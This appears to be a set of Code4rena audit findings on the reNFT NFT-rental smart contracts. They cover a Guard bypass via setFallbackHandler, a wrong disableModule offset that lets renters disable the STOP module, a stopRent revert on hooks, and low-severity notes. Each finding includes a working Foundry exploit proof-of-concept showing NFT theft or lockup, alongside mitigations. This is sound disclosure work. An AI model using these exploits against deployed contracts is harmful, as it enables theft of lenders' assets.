reNFT - haxatron's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L195

Vulnerability details

The _checkTransaction functions checks every transaction from a rental wallet owner calling execTransaction against a list of blocklisted function selectors to prevent a rental wallet owner from transferring ERC-721 / ERC-1155 out of the rental wallet.

function _checkTransaction(address from, address to, bytes memory data) private view {
        ...

However, it is possible to bypass this check and transfer ERC-721 / ERC-1155 out of the rental wallet by setting a custom fallback handler that is pointing the ERC-721 / ERC-1155 contract in Gnosis safe's fallback manager, since the function selector setFallbackHandler(address) belonging to the Gnosis safe is not blocklisted at all when checking the transactions in reNFT's Guard contract

https://github.com/safe-global/safe-contracts/blob/release/1.4.1/contracts/base/FallbackManager.sol#L50

    function setFallbackHandler(address handler) public authorized {
        internalSetFallbackHandler(handler);
        emit ChangedFallbackHandler(handler);
    }

We can then use the fallback function to access forbidden functions present in the ERC-721 / ERC-1155 contract because it makes an external call (with our calldata provided to the fallback function) to the address pointed to by our handler (which is the ERC-721 / ERC-1155 contract) which we set previously.

https://github.com/safe-global/safe-contracts/blob/main/contracts/base/FallbackManager.sol#L78

fallback() external {
...
// Add 20 bytes for the address appended add the end
let success := call(gas(), handler, 0, calldataPtr, add(calldatasize(), 20), 0, 0)
...

Since the forbidden functions are executed via fallback with the msg.sender of Gnosis Safe, then it is possible to bypass the Guard checks and transfer the NFT from the safe to the attacker.

Impact

Theft of the rental NFT by the renter.

Proof of Concept

Here is a PoC that shows how Bob can steal the rental NFT in the wallet by executing transaction to setFallbackHandler(address).

// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {
    Order,
    FulfillmentComponent,
    Fulfillment,
    ItemType as SeaportItemType
} from "@seaport-types/lib/ConsiderationStructs.sol";

import {Errors} from "@src/libraries/Errors.sol";
import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol";

import {BaseTest} from "@test/BaseTest.sol";
import {ProtocolAccount} from "@test/utils/Types.sol";
import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";

contract GuardBypass_Test is BaseTest { 
    function test_GuardBypass() public {

        // ============== SETUP ==============

        // create a BASE order
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the order creation
        (
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: bob,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });

        // finalize the base order fulfillment
        RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment();

        // get the rental order hash
        bytes32 rentalOrderHash = create.getRentalOrderHash(rentalOrder);

        // assert that the rental order was stored
        assertEq(STORE.orders(rentalOrderHash), true);

        // assert that the token is in storage
        assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), true);

        // ============== EXPLOIT ==============

        // create safe transaction to setFallbackHandler
        bytes4 selector = bytes4(keccak256("setFallbackHandler(address)"));
        bytes memory transaction = abi.encodeWithSelector(selector, erc721s[0]);

        // sign the safe transaction
        bytes memory transactionSignature = SafeUtils.signTransaction(
            address(bob.safe),
            bob.privateKey,
            address(bob.safe),
            transaction
        );

        // impersonate the safe owner
        vm.prank(bob.addr);

        // Execute the transaction
        SafeUtils.executeTransaction(
            address(bob.safe),
            address(bob.safe),
            transaction,
            transactionSignature
        );
      
        // Mr. Gnosis owns the NFT...
        assertEq(erc721s[0].ownerOf(0), address(bob.safe));

        // This succeeds because of our malicious fallback function
        address(bob.safe).call(
            abi.encodeWithSelector(bytes4(keccak256("transferFrom(address,address,uint256)")), bob.safe, bob.addr, 0)
        );

        // Oh noes! Bob now owns the NFT        
        assertEq(erc721s[0].ownerOf(0), bob.addr);
    }
}

Place in the GuardBypass.t.sol and run with forge test --match-contract GuardBypass -vvvvv

Tools Used

Foundry

Recommended Mitigation Steps

Block the setFallbackHandler(address) function selector in the _checkTransaction function of the Guard module.

Assessed type

Other

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L260 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/libraries/RentalConstants.sol#L62

Vulnerability details

The Guard policy allows an owner of a rental wallet to enable whitelisted modules and disable Gnosis Safe whitelisted modules. Which modules are whitelisted are under the purview of reNFT admins.

Below is the function of the code are the checks present to disable a module:

Guard.sol#L255C1-L263C15

...
        } else if (selector == gnosis_safe_disable_module_selector) {
            // Load the extension address from calldata.
            address extension = address(
                uint160(
                    uint256(
                        _loadValueFromCalldata(data, gnosis_safe_disable_module_offset)
                    )
                )
            );

            // Check if the extension is whitelisted.
            _revertNonWhitelistedExtension(extension);
...

However, when testing, this function doesn't actually work properly, and when the reNFT admins have allowed at least one whitelisted module, rental wallet owners can disable the STOP module which is critical for the rental NFT to be returned. The STOP module is a module enabled on all rental wallets during wallet creation and handles the transfer of the rental NFT to back to the lender after the rent period is over.

This root cause of this issue exists because the constant gnosis_safe_disable_module_offset used in the _loadValueFromCalldata is wrong.

RentalConstants.sol#L62

uint256 constant gnosis_safe_disable_module_offset = 0x24;

Now, although RentalConstants.sol#L62 is OOS, according the judging docs:

https://docs.code4rena.com/awarding/judging-criteria#scope

Wardens may elect to argue to bring things into scope—either by making the case that an issue poses a more urgent threat than identified or by submitting a medium or high severity finding in code which is out of scope. However, it is up to judges' absolute discretion whether to include these findings and award them, and these issues should include a clear argument as to why the items merit being brought into scope.

As I do not have backstage access, I will give a detailed argument on why this should be considered here instead:

1. This constant is being imported and used in the Guard contract, which is in scope, in the _loadValueFromCalldata

2. The impact of this issue is critical because it prevents the lender from ever obtaining their NFT back and the rental wallet owner can continue using the NFT even after the rent period is over. This is one of the areas of concern mentioned by the sponsors in the audit page.

3. A few of the invariants mentioned by the sponsors in the audit page are that the rental wallet can never make a call setGuard(), approve(), disableModule() ... etc, and in order to verify these invariants we must verify that the constants being used which include function selectors and calldata position are correct. Additionally, even if you did not check the constants, this could also have been found by testing the disableModule() invariant.

Now, let us explore the bug. If we take a look at the function signature for Gnosis Safe's disableModule:

https://github.com/safe-global/safe-contracts/blob/release/1.4.1/contracts/base/ModuleManager.sol#L58

    /**
     * @notice Disables the module `module` for the Safe.
     * @dev This can only be done via a Safe transaction.
     * @param prevModule Previous module in the modules linked list.
     * @param module Module to be removed.
     */
    function disableModule(address prevModule, address module) public authorized 

The value of gnosis_safe_disable_module_offset constant used in the Guard contract is 0x24, and this would cause _loadValueFromCalldata to return the first argument prevModule to be checked in the whitelist. However, in the disableModule function, prevModule is NOT the module that is actually removed. It is the 2nd argument module which gets removed.

Now, let us explore how we can abuse this to disable the STOP module:

https://github.com/safe-global/safe-contracts/blob/release/1.4.1/contracts/base/ModuleManager.sol#L47

function enableModule(address module) public authorized {
        // Module address cannot be null or sentinel.
        require(module != address(0) && module != SENTINEL_MODULES, "GS101");
        // Module cannot be added twice.
        require(modules[module] == address(0), "GS102");
        modules[module] = modules[SENTINEL_MODULES];
        modules[SENTINEL_MODULES] = module;
        emit EnabledModule(module);
}

function disableModule(address prevModule, address module) public authorized {
        // Validate module address and check that it corresponds to module index.
        require(module != address(0) && module != SENTINEL_MODULES, "GS101");
        require(modules[prevModule] == module, "GS103");
        modules[prevModule] = modules[module];
        modules[module] = address(0);
        emit DisabledModule(module);
}

To track modules enabled, the Gnosis Safe creates a circular linked list data structure where the address of a module is used in a mapping named modules to refer to the address of the next module in the linked list

Now let us walk through how the STOP module can end up disabled by the rental wallet owner.

Initially, when the rental wallet is created we have a SENTINEL_MODULE (constant representing the address at the start of a linked list which is 0x1) in the Gnosis Safe contract and we call enableModule(STOP). The modules mapping after the rental wallet has been created will look like follows.

------------------------------------------------------------
         module_addr          |    modules[module_addr]
------------------------------------------------------------
    0x1 (SENTINEL MODULE)     |           STOP
------------------------------------------------------------
            STOP              |     0x1 (SENTINEL MODULE) 
------------------------------------------------------------

When enabling a whitelisted module, we call enableModule(WHITELISTED_MODULE) module, if you follow the code you will obtain the following result:

------------------------------------------------------------
         module_addr          |    modules[module_addr]
------------------------------------------------------------
    0x1 (SENTINEL_MODULE)     |     WHITELISTED_MODULE
------------------------------------------------------------
            STOP              |    0x1 (SENTINEL MODULE) 
------------------------------------------------------------
     WHITELISTED_MODULE       |           STOP    
------------------------------------------------------------

Now, observe what happens when we call disableModule(WHITELISTED_MODULE, STOP). If we were to run the code in disableModule, the require check require(modules[prevModule] == module, "GS103"); will pass because module[WHITELISTED_MODULE] = STOP, according to the table above. Since the require check passes, we end up disabling the STOP module.

And as mentioned before, we were only checking prevModule in the whitelist because of the wrong value in gnosis_safe_disable_module_offset constant:

Guard.sol#L255C1-L263C15

        } else if (selector == gnosis_safe_disable_module_selector) {
            // Load the extension address from calldata.
            address extension = address(
                uint160(
                    uint256(
                        _loadValueFromCalldata(data, gnosis_safe_disable_module_offset)
                    )
                )
            );

            // Check if the extension is whitelisted.
            _revertNonWhitelistedExtension(extension);

The Guard module ends up checking WHITELISTED_MODULE which would pass, instead of STOP module, and therefore fail to protect against this.

Once the STOP module is disabled, the rental NFTs cannot be reclaimed by the lender as the STOP module is used in the removal of the rental NFTs.

Impact

If there exists >= 1 whitelisted module, renters can disable the STOP module which prevents NFT lenders from obtaining their NFT back from the safe.

Proof of Concept

Attached is a PoC which shows stopRent reverting because the STOP module was disabled by the malicious rental wallet owner, the result is that Alice the NFT lender can no longer reclaim back her NFT from Bob's rental wallet

// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {
    Order,
    FulfillmentComponent,
    Fulfillment,
    ItemType as SeaportItemType
} from "@seaport-types/lib/ConsiderationStructs.sol";

import {Errors} from "@src/libraries/Errors.sol";
import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol";

import {BaseTest} from "@test/BaseTest.sol";
import {ProtocolAccount} from "@test/utils/Types.sol";
import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";

contract DisableSTOP_Test is BaseTest { 
    function test_DisableSTOP() public {
        // create a BASE order
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the order creation
        (
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: bob,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });

        // finalize the base order fulfillment
        RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment();

        // get the rental order hash
        bytes32 rentalOrderHash = create.getRentalOrderHash(rentalOrder);

        // assert that the rental order was stored
        assertEq(STORE.orders(rentalOrderHash), true);

        // assert that the token is in storage
        assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), true);

        // The admin needs to have whitelisted at least 1 module for the exploit to work.
        address whitelisted_module = address(0x1000);
        vm.prank(deployer.addr);
        admin.toggleWhitelistExtension(whitelisted_module, true);

        // ============ EXPLOIT =============

        // impersonate the safe owner
        vm.prank(bob.addr);

        // First, we enable the whitelisted module.

        {
        // create safe transaction to enableModule
        bytes4 selector = bytes4(keccak256("enableModule(address)"));
        bytes memory transaction = abi.encodeWithSelector(selector, whitelisted_module);
 
        // sign the safe transaction
        bytes memory transactionSignature = SafeUtils.signTransaction(
            address(bob.safe),
            bob.privateKey,
            address(bob.safe),
            transaction
        );

        // Execute the transaction
        SafeUtils.executeTransaction(
            address(bob.safe),
            address(bob.safe),
            transaction,
            transactionSignature
        );
     
        }

        // Then, we disable the STOP module.
        {

        // create safe transaction to disableModule
        bytes4 selector = bytes4(keccak256("disableModule(address,address)"));
        bytes memory transaction = abi.encodeWithSelector(selector, whitelisted_module, address(stop));
        
        // sign the safe transaction
        bytes memory transactionSignature = SafeUtils.signTransaction(
            address(bob.safe),
            bob.privateKey,
            address(bob.safe),
            transaction
        );

        // Execute the transaction
        SafeUtils.executeTransaction(
            address(bob.safe),
            address(bob.safe),
            transaction,
            transactionSignature
        );

        }


        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);

        // Bob's safe has the rental NFT as stopRent() hasn't been called.
        assertEq(erc721s[0].ownerOf(0), address(bob.safe));

        // Alice attempts to reclaim by stopping the rental order.
        // We can't because Bob disabled the stop module!
        // Note: GS104 is Gnosis Safe error code for "Method can only be called from an enabled module". 
        // See https://github.com/safe-global/safe-contracts/blob/main/docs/error_codes.md
        vm.prank(alice.addr);
        vm.expectRevert("GS104");
        stop.stopRent(rentalOrder);

        // Bob's safe still has the rental NFT and can continue doing whatever he wants with it without paying anything else.
        assertEq(erc721s[0].ownerOf(0), address(bob.safe));
    }
}

Place in DisableSTOP.t.sol and run with forge test --match-contract DisableSTOP -vvvv

Tools Used

Foundry

Recommended Mitigation Steps

Modify gnosis_safe_disable_module_offset constant to 0x44 to obtain the 2nd argument. Additionally, you may also want to ensure that _revertNonWhitelistedExtension(extension), which is the function that checks that the module is in a whitelist, reverts when the module passed into it is the STOP module, as a key invariant is that we never ever want to disable the STOP module.

Assessed type

Other

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L211 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L289

Vulnerability details

IMPORTANT NOTE: This is NOT an issue with a malicious or faulty hook.

When stopRent is called, we always call the _removeHooks function:

Stop.sol#L289

...
        if (order.hooks.length > 0) {
            _removeHooks(order.hooks, order.items, order.rentalWallet);
        }
....

For reference, for every hook, there is a bitmap which is set by the reNFT admin which determines whether the hook is allowed to execute when the rental is started (OnStart), during a Gnosis Safe transaction (OnTransaction) or when the rental is stopped (OnStop).

In the _removeHooks function, we iterate through each hook and attempt to remove it. However, there is a check that a hook must have an OnStop bit set for the target or else the entire stopRent function reverts, which is very problematic.

Stop.sol#L211

function _removeHooks(
    Hook[] calldata hooks,
    Item[] calldata rentalItems,
    address rentalWallet
) internal {
...
// Check that the hook is reNFT-approved to execute on rental stop.
if (!STORE.hookOnStop(target)) {
    revert Errors.Shared_DisabledHook(target);
}
...

From the tests provided by the reNFT devs, it is entirely reasonable and possible for a hook to not have the OnStop bit set:

WhitelistedFulfillment.t.sol#L29

...
        // deploy hook contract
        hook = new WhitelistedFulfillmentHook();

        // admin enables the hook. Use binary 00000010 so that the hook
        // is enabled for `onStart` calls only
        vm.prank(deployer.addr);
        guard.updateHookStatus(address(hook), uint8(2));
...

Therefore, in situations when the OnStop bit is not set for a hook, whenever a lender calls stopRent, it will revert because of the strict check that all hooks must have the OnStop bit and revert if otherwise. Therefore, the lender cannot reclaim their NFT from the renter's wallet.

It is possible for the admin to manually set the OnStop bit after being notified of this issue, after which the renter can remove the NFT. However, since it will take some time to do so, the rental period can be exceeded whilst the lender does not receive any additional fees for renting out their NFT

In addition, it is also possible that this can prevent the lender from cancelling their PAY order (a PAY order is an order where the lender pays the renter to borrow the NFT from the lender). Whenever a PAY order is cancelled by the lender before the rent period ends, the renter will be paid out a pro-rata rate instead of the full rate.

PaymentEscrow.sol#L254

// If its a PAY order but the rental hasn't ended yet.
if (orderType.isPayOrder() && !isRentalOver) {
   // Interaction: a PAY order which hasnt ended yet. Payout is pro-rata.

Therefore, if this vulnerability delays a lender from cancelling their PAY order before the rent period ends, it will lead to a loss of funds for the lender because they will pay a higher amount.

Impact

Prevent lender from reclaiming NFT until reNFT admin sets OnStop bit on the hook or even possible loss of funds for lender if order is PAY order.

Proof of Concept

Below is a PoC which shows that the lender Alice cannot reclaim her NFT due to stopRent reverting. This PoC was modified from WhitelistedFulfillment.t.sol test with the modifications only being made under the // ======== EXPLOIT ======== line. Unfortunately, it seems this issue was not caught because the tests in WhitelistedFulfillment.t.sol did not attempt to see what happens when the rent is stopped.

// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {Order, OfferItem, ItemType} from "@seaport-types/lib/ConsiderationStructs.sol";

import {
    WhitelistedFulfillmentHook
} from "@src/examples/whitelisted-fulfillment/WhitelistedFulfillmentHook.sol";
import {
    Hook,
    OrderType,
    OrderMetadata,
    RentalOrder
} from "@src/libraries/RentalStructs.sol";
import {Errors} from "@src/libraries/Errors.sol";

import {BaseTest} from "@test/BaseTest.sol";

contract Hook_HookWithNoOnStopBit_Test is BaseTest {
    // hook contract
    WhitelistedFulfillmentHook public hook;

    function setUp() public override {
        super.setUp();

        // deploy hook contract
        hook = new WhitelistedFulfillmentHook();

        // admin enables the hook. Use binary 00000010 so that the hook
        // is enabled for `onStart` calls only
        vm.prank(deployer.addr);
        guard.updateHookStatus(address(hook), uint8(2));

        // assert that hook set up was successful
        assertEq(STORE.hookOnStart(address(hook)), true);
        assertEq(STORE.hookOnStop(address(hook)), false);
        assertEq(STORE.hookOnTransaction(address(hook)), false);
    }

    function test_HookWithNoOnStopBit() public {
        // create a BASE order where a lender offers an ERC1155 in
        // exchange for some erc20 tokens
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: 0,
            erc1155Offers: 1,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // define the whitelist
        address[] memory whitelist = new address[](2);
        whitelist[0] = address(bob.safe);
        whitelist[1] = address(carol.safe);

        // Define the hook for the rental
        Hook[] memory hooks = new Hook[](1);
        hooks[0] = Hook({
            // the hook contract to target
            target: address(hook),
            // index of the item in the order to apply the hook to
            itemIndex: 0,
            // any extra data that the hook will need.
            extraData: abi.encode(whitelist)
        });

        // use an amendment to add hooks
        withHooks(hooks);

        // finalize the order creation
        (
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: bob,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });

        // finalize the base order fulfillment. This executes the token swap
        // and starts the rental.
        RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment();

        // ======== EXPLOIT ========
        // speed up in time after the rental period
        vm.warp(block.timestamp + 750);

        // stop the rental order
        vm.prank(alice.addr);

        // fails because the hooks have no OnStop bit.
        vm.expectRevert();
        stop.stopRent(rentalOrder);
    }
}

Place in HookWithNoStopBit.t.sol and test with forge test --match-contract HookWithNoOnStopBit -vvvv

    ├─ [10405] StopPolicy::stopRent(RentalOrder({ seaportOrderHash: 0x8ebf6907ea1e65cc10486985f567daaaba48a3ff972972c07ffc2a474f590462, items: [Item({ itemType: 1, settleTo: 0, token: 0x03A6a84cD762D9707A21605b548aaaB891562aAb, amount: 100, identifier: 0 }), Item({ itemType: 2, settleTo: 0, token: 0x1d1499e622D69689cdf9004d05Ec547d650Ff211, amount: 100, identifier: 0 })], hooks: [Hook({ target: 0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758, itemIndex: 0, extraData: 0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000002000000000000000000000000ab498817e3836d01ecbb17fa7680a5e37cb56a410000000000000000000000006b8c2d4eb56311b8cfc7396d1202995b143c188d })], orderType: 0, lender: 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, renter: 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e, rentalWallet: 0xaB498817e3836D01ecBb17fa7680A5E37cb56A41, startTimestamp: 1, endTimestamp: 501 }))
    │   ├─ [959] STORE::hookOnStop(WhitelistedFulfillmentHook: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758]) [staticcall]
    │   │   ├─ [639] STORE_IMPLEMENTATION::hookOnStop(WhitelistedFulfillmentHook: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758]) [delegatecall]
    │   │   │   └─ ← false
    │   │   └─ ← false
    │   └─ ← Shared_DisabledHook(0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758)
    └─ ← ()

Tools Used

Foundry

Recommended Mitigation Steps

Instead of reverting when there is no OnStop bit present in Stop.sol#L211, you should continue the for loop to prevent the function from reverting.

...
if (!STORE.hookOnStop(target)) {
    continue;
}
...

Assessed type

Other

Judge has assessed an item in Issue #136 as 2 risk. The relevant finding follows:

L1

[L01]: The RentalOrder hash does not match the RentalOrder struct.

When hashing RentalOrder, the following is done

    function _deriveRentalOrderHash(
        RentalOrder memory order
    ) internal view returns (bytes32) {
        ...
        return
            keccak256(
                abi.encode(
                    _RENTAL_ORDER_TYPEHASH,
                    order.seaportOrderHash,
                    keccak256(abi.encodePacked(itemHashes)),
                    keccak256(abi.encodePacked(hookHashes)),
                    order.orderType,
                    order.lender,
                    order.renter,
                    order.startTimestamp,
                    order.endTimestamp
                )
            );

However, this is missing order.rentalWallet present in the RentalOrder struct

RentalStructs.sol#L133C1-L143C2

struct RentalOrder {
    bytes32 seaportOrderHash;
    Item[] items;
    Hook[] hooks;
    OrderType orderType;
    address lender;
    address renter;
    address rentalWallet;
    uint256 startTimestamp;
    uint256 endTimestamp;
}

Therefore a malicious renter can modify the rentalWallet field of the original RentalOrder struct with and call stopRent as the hash computed will be the same as the rentalWallet is not taken into account while hashing.

On the current solidity versions deployed by the team, this is not exploitable because it causes a arithmetic underflow due when executing removeRentals Storage.sol#L216C1-L219C6

    function removeRentals(
        bytes32 orderHash,
        RentalAssetUpdate[] calldata rentalAssetUpdates
    )
    ...
        for (uint256 i = 0; i < rentalAssetUpdates.length; ++i) {
            RentalAssetUpdate memory asset = rentalAssetUpdates[i];

            // Reduce the amount of tokens for the particular rental ID.
            rentedAssets[asset.rentalId] -= asset.amount;
        }

Since the asset.rentalId is generated using the address of the rentalWallet, rentedAssets[asset.rentalId] is 0 initially, and when decrementing by asset.amount will cause arithmetic underflow and revert.

However, in the offchance the team decides to use versions less than solidity 8.0 in the future, then the consequence is disastrous as the function will not revert and the order hash will be deleted from storage even though the malicious renter supplied the wrong rentalWallet, after which the lender can no longer reclaim the rental NFT due to the missing order hash.

Attached is a PoC which demonstrates how a revert occurs if a malicious renter modifies the rentalWallet of the rental order, due to arithmetic underflow:

// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {Order, OfferItem, ItemType} from "@seaport-types/lib/ConsiderationStructs.sol";
import {Enum} from "@safe-contracts/common/Enum.sol";

import {
    OrderType,
    OrderMetadata,
    RentalOrder
} from "@src/libraries/RentalStructs.sol";
import {Errors} from "@src/libraries/Errors.sol";

import {BaseTest} from "@test/BaseTest.sol";

import {ISafe} from "@src/interfaces/ISafe.sol";

contract FakeSafe is ISafe { 
    function execTransaction(
        address to,
        uint256 value,
        bytes calldata data,
        Enum.Operation operation,
        uint256 safeTxGas,
        uint256 baseGas,
        uint256 gasPrice,
        address gasToken,
        address payable refundReceiver,
        bytes memory signatures
    ) external payable returns (bool success) { return true; }

    function execTransactionFromModule(
        address to,
        uint256 value,
        bytes calldata data,
        Enum.Operation operation
    ) external returns (bool success) { return true; }
    
    function swapOwner(address prevOwner, address oldOwner, address newOwner) external {}
    function enableModule(address module) external {}
    function disableModule(address prevModule, address module) external {}
    function setGuard(address guard) external {}
    function getTransactionHash(
        address to,
        uint256 value,
        bytes calldata data,
        Enum.Operation operation,
        uint256 safeTxGas,
        uint256 baseGas,
        uint256 gasPrice,
        address gasToken,
        address refundReceiver,
        uint256 _nonce
    ) external view returns (bytes32 transactionHash) { return bytes32(""); }
    function setup(
        address[] calldata _owners,
        uint256 _threshold,
        address to,
        bytes calldata data,
        address fallbackHandler,
        address paymentToken,
        uint256 payment,
        address payable paymentReceiver
    ) external {}
    function isOwner(address owner) external view returns (bool) { return true; }
    function nonce() external view returns (uint256) { return 0; }
}

contract FakeSafe_Test is BaseTest {
    // hook contract
    function test_FakeSafe() public {
        // create a BASE order where a lender offers more ERC1155 in
        // exchange for some erc20 tokens
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: 1, 
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 0, 
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the order creation
        (  
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: bob,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });

        // finalize the base order fulfillment. This executes the token swap
        // and starts the rental.
        RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment();

        // ======== EXPLOIT ========
        // speed up in time after the rental period
        vm.warp(block.timestamp + 750);

        // stop the rental order
        vm.prank(bob.addr);
        rentalOrder.rentalWallet = address(new FakeSafe());
        stop.stopRent(rentalOrder);
    }
}

Result:

    │   ├─ [7970] STORE::removeRentals(0x234ffb294231b7028aeb4e9327eecd567e6aadce024adc984adfaa5ffeddc2ab, [RentalAssetUpdate({ rentalId: 0x5ae01b1080d6d1715c135a6b9d0f2a36b5150e579a40e3a5833e29f2a1e84ac7, amount: 1 })])
    │   │   ├─ [7625] STORE_IMPLEMENTATION::removeRentals(0x234ffb294231b7028aeb4e9327eecd567e6aadce024adc984adfaa5ffeddc2ab, [RentalAssetUpdate({ rentalId: 0x5ae01b1080d6d1715c135a6b9d0f2a36b5150e579a40e3a5833e29f2a1e84ac7, amount: 1 })]) [delegatecall]
    │   │   │   ├─ [2917] kernel::modulePermissions(0x53544f5245000000000000000000000000000000000000000000000000000000, StopPolicy: [0x21CA97969FCeD24DFb0aA660179aDcF5E0ff3da2], 0x3fd9b3ee00000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   │   │   └─ ← true
    │   │   │   └─ ← panic: arithmetic underflow or overflow (0x11)
    │   │   └─ ← panic: arithmetic underflow or overflow (0x11)
    │   └─ ← panic: arithmetic underflow or overflow (0x11)
    └─ ← Error != expected error:  != panic: arithmetic underflow or overflow (0x11)

[L02]: Using solidity 8.20 and above may be incompatible with some chains

The project uses solidity 8.20 and above to compile their contracts. solidity 8.20 by default uses Shanghai EVM to compile the contracts which may include PUSH0 opcode. The project looks to expand to all the chains that are supported by Safe. However, it may be incompatible with some chains supported by Safe such as Arbitrum, due to the PUSH0 opcode not being supported if the default Shanghai EVM version is used.

Reference: https://docs.arbitrum.io/for-devs/concepts/differences-between-arbitrum-ethereum/solidity-support#:~:text=address%20aliasing.-,OPCODE%20PUSH0,-This%20OPCODE%20is